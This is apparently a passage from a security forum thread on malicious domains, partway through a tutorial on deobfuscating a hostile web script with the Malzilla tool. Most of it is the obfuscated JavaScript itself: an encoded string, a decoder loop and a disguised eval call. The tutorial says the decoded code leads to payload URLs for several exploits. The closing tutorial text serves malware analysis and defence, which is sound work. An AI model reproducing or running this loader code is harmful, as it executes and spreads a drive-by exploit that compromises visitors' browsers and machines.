u%n}nf{qty';d`t;s`c(ungeM`;neac`ete'A2plrS'b,q/zqW)l(csca}t-n`0narodni-E)=ma80c`e=meuuiatbdCca)t`h`alwasnc'`spe`dnu(((tfvoo's'D4cs'FiafdiSW8EF8;F906a01C0350685049E2E70905EC506048413C3D8CFF07E5FFA80FF5E55377BE485250F0B85F807667F5F5B4C33B66AE5B051548AE5226Am0001E02566774606677767677610000000000000s00066066caa''v(|',69ee8806722227276`eeCC02766362633`ee8806222222552`ee5502254576663`ee5502225254667`ee5505544776663.A)})r'rut`fohFG=v^(lpt(r;Ff61re<hsvneCa';)Xa'sN=|019opa;`;0gys+n7F4F38C006FBD501062A0F53C993D45E82F44619C1F1895192863415444533520422259498AA1FA147519CE70100433B48EEEA70271222F2OEEd>gdD0>d6u4cu40u01u05u13u6aua0ua0u01u10u10u46u20u1au6auf0u00u4fu04ub0u00uc0ub2ubbue3u02u00u08udducfu81;8u2Fu1`09u9Eu3u26u00EfpmtA5=sv42cvA;e(2pw))ahmlo)oc`rn+tahnoMneMf`0(rbvef=h3an(ms1`0h~2ttnixh>}p,tg`assr`e}=e)`t.u)](y`eltVnehf6~6.;ac`)f`nez=|elslEN.khVtt(nlamzccoouns.tsE`(nf`l(heb;)PN0t`i.jenP.Yfz`t`+;=o`o=uo`t`)o``i`xb~`d3h`tP%={nb(hustn`en+)fb0fu-0py)aipotd('i3`~>nTv;j0Cd+a~'jlnentjkttmi)iotno=}}ua2y(`ugvgom;.'#d(it}tIu'ttgnLo'enttdntt,39.2`h)j'.17.r;ethhhtfrJ.h/etorotdDF;`es48hdn`e`ngtt-oohhu{iv=irufms'=`aal-h>`mieeo(awb.ucB4.ejLemtoe(F7367v2266m0112DDFA3EB8ED7CBDF39D920ED0B5840BDB3F1128EFF4B4F81800438005B0408FC1B0F140EC34DCC5982E633C794D533E37A0D97De000561EF9190DEE3364222594972720031122B02a220C501Ctvs$W=s|)04,ssE60C4839660369ssE6097F7560B819ssE606464681EE49ssE608849F385889ssE60915F6F88619ssE60FE7574C7B1rD;f{e)ctA0rci(e/a,fvl(lsi('))x`9zefylKtQ}{Os)i`=('5,rerw0},t(8+o501B60E00DF39400006026766766664676366673676626473626607066654627440666467001010000000000000000D3D0000D0D00100016AEP";
function hlhtkt(hnxoir5){return hnxoir5.replace(/`/ig,' ').replace(/~/ig,'"').replace(/»/ig,String.fromCharCode(0x5*2)).replace(/•/ig,String.fromCharCode(0x2E*2));};var gsyna=1002;var czkpev3='';for (ctxodqa = gsyna; ctxodqa > 0; ctxodqa--){for (hriwklc5 = gsyna-ctxodqa; hriwklc5 <= bnfzxnh.length; hriwklc5=hriwklc5+gsyna){czkpev3=czkpev3+bnfzxnh.charAt(hriwklc5);}}var asioivh=czkpev3+"EERS();}}MDAC();";var ezbmfwb=hlhtkt(asioivh);this[String.fromCharCode(0x65,118,0x61,108)](ezbmfwb);8.) Copy this code into Malzilla's decoder window and click "Run script" button. Click into the "Eval() results" window. The deobfuscated code now appears in bottom window.
This code isn't well formatted and therefore not easy to read. Mark all code and copy it into the upper decoder window. Now click the "Format code" button.
Now you can browse through the code and see the payload urls for various exploits.
This decoding procedure can also be done easily by script.
Topic: Malicious Domains by Lelenina (Read 84729 times)
